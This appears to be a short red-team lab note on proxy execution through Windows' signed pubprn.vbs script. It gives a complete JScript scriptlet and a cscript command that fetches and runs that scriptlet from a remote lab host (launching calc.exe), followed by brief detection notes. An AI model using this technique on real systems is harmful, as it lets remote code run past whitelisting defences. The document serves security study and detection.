# pubprn.vbs Signed Script Code Execution

## Execution

Using pubprn.vbs, we will execute code to launch calc.exe. First of, the xml that will be executed by the script:

{% code title="<http://192.168.2.71/tools/mitre/proxy-script/proxy.sct>" %}

```markup
<?XML version="1.0"?>
<scriptlet>

<registration
    description="Bandit"
    progid="Bandit"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"   
	>
</registration>

<script language="JScript">
<![CDATA[
		var r = new ActiveXObject("WScript.Shell").Run("calc.exe");	
]]>
</script>

</scriptlet>
```

{% endcode %}

{% code title="attacker\@victim" %}

```csharp
cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http://192.168.2.71/tools/mitre/proxy-script/proxy.sct
```

{% endcode %}

## Observations

Calc.exe gets spawned by cscript.exe which immediately closes leaving the calc.exe process orphan:

![](/files/-LI2ODZRD6ri-CkAzeYT)

![](/files/-LI2OF_pE8rPLNHG0ciM)

Monitoring commandlines can be useful in detecting the script being abused:

![](/files/-LIHTuiKgire5SPCG3h_)

## References

{% embed url="<https://attack.mitre.org/wiki/Technique/T1216>" %}


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